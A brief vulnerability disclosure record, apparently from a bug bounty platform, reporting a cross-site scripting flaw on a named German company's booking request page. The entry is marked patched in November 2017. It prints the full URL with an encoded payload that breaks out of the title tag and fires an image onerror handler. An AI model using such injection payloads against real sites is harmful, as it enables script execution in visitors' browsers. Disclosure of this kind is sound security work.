pti.de XSS vulnerability

Vulnerable URL: http://www.pti.de/seiten/incoming/kontakt/en/bookingrequest.php?titel=A%20%3C/title%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E%20=SEMCK-01/61 Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 11:38 GMT Vulnerability...